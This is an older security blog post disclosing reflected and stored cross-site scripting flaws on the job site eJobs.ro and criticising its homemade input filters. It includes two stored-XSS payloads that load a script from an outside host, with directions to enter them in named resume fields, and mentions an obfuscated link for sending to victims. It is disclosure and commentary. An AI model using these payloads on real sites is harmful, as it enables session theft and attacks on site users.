eJobs.ro XSS hacks

eJobs.ro XSS hacks

05/07/08 | by zveriu | Categories: AskAmit, Hack

UPDATE: check the second part here

Well, this is not necessarily big news nor a breakthrough… :)

However, it is sad to see that big and old players on the different markets (be it job&recruitment, online payments, news corps, search engines, etc.) are still susceptible to such well known and wide-spread attacks (as XSS for example) and are still posing threat to their main and most important assets.

If to take as example ejobs.ro mainly:
- 2.5 Mil persons/month using their services
- 1 Mil resumes they posses
- 9 years of presence on the market
- No1 position on the market
All above are according to one of their banners:

ejobs.ro banner
ejobs.ro banner

I am asking myself - wasn’t it a good and sufficient example the compromise of intelligence assets of monster.com? :?: :no:

What is even more sad is the fact that they have some kind of filters/sanitations implemented (as you will see below). But it seems that those security measures look more like:
- are home-made ones - lacking presence of unified sanitation policy and library/package
- treat some local and specific bug/cases - lacking security/code auditing as a practice of entire SDLC
- are buggy/obsolete - they tend to be more of a burden in maintenance rather than a help for the entire software product

Let’s look at some technical details :> (NB: dear ejobs.ro - pay special attention :!: or contact me as we can colaborate as freelancer/consulting party ;D)

1. XSS reflected attack.
Click link here (no harm code - only proof of concept alert box:!:). Fully HEX obfuscated (easily deobfuscated by current editing software), but useful while sending to the victim :>:oops:

Code:

XSS reflection IE
XSS reflection IE

Looks like no sanitation done. Also, I always keep fighting with opposing industry colleagues that outputing user input to the title of the page (be it search, etc.) brings no benefits, rather the opposite - pain-in-the-ass :))

2. XSS stored attack.

XSS stored FF
XSS stored FF

This specific case, while doing XSS probing has shown that there are some sanitation routines… which more likely will have to be improved…

If you have an account and a resume, try either of the below injection codes in the Obiectiv or Beneficii textboxes (save and preview the CV using “Cum vad companiile CVul meu". The answer would be - “FOARTE FOARTE PROST :)!")

Code:

<script src="http://andreicostin.com/xss.js"</script>
OR

Code:

<script
src=
"
http://andreicostin.com/xss.js
"
</script >

Both XSS attacks worked for me in IE6, IE7, FF2.

It seems that even after many decades, proper parsing is still an issue for most of the developers - be it an issue of lack of technical knowledge or just simple lack of interest to complicate themselves with additional “useless” burden of security assessment…

DISCLAIMER: this post is intended purely for security research and educative purposes as well as intended to urge the vendor to fix the problems posing threats to its customers. Any use of this information is sole responsibility of the reader and the author is not to be held liable for any miss-use of the above informative technical details.

Comments, Pingbacks:

No Comments/Pingbacks for this post yet...

This post has 8 feedbacks awaiting moderation...

Leave a comment:

Your email address will not be displayed on this site.
Your URL will be displayed.

Allowed XHTML tags: <p, ul, ol, li, dl, dt, dd, address, blockquote, ins, del, span, bdo, br, em, strong, dfn, code, samp, kdb, var, cite, abbr, acronym, q, sub, sup, tt, i, b, big, small>
(Line breaks become <br />)
(Set cookies for name, email and url)
(Allow users to contact you through a message form (your email will NOT be displayed.))
This is a captcha-picture. It is used to prevent mass-access by robots.
Please enter the characters from the image above. (case insensitive)

Cognitive and Scientific Brainology

A deep dive into brain's curiosities

September 2010
Sun Mon Tue Wed Thu Fri Sat
 << <   > >>
      1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30    

Categories

Misc

XML Feeds

What is RSS?

powered by b2evolution free blog software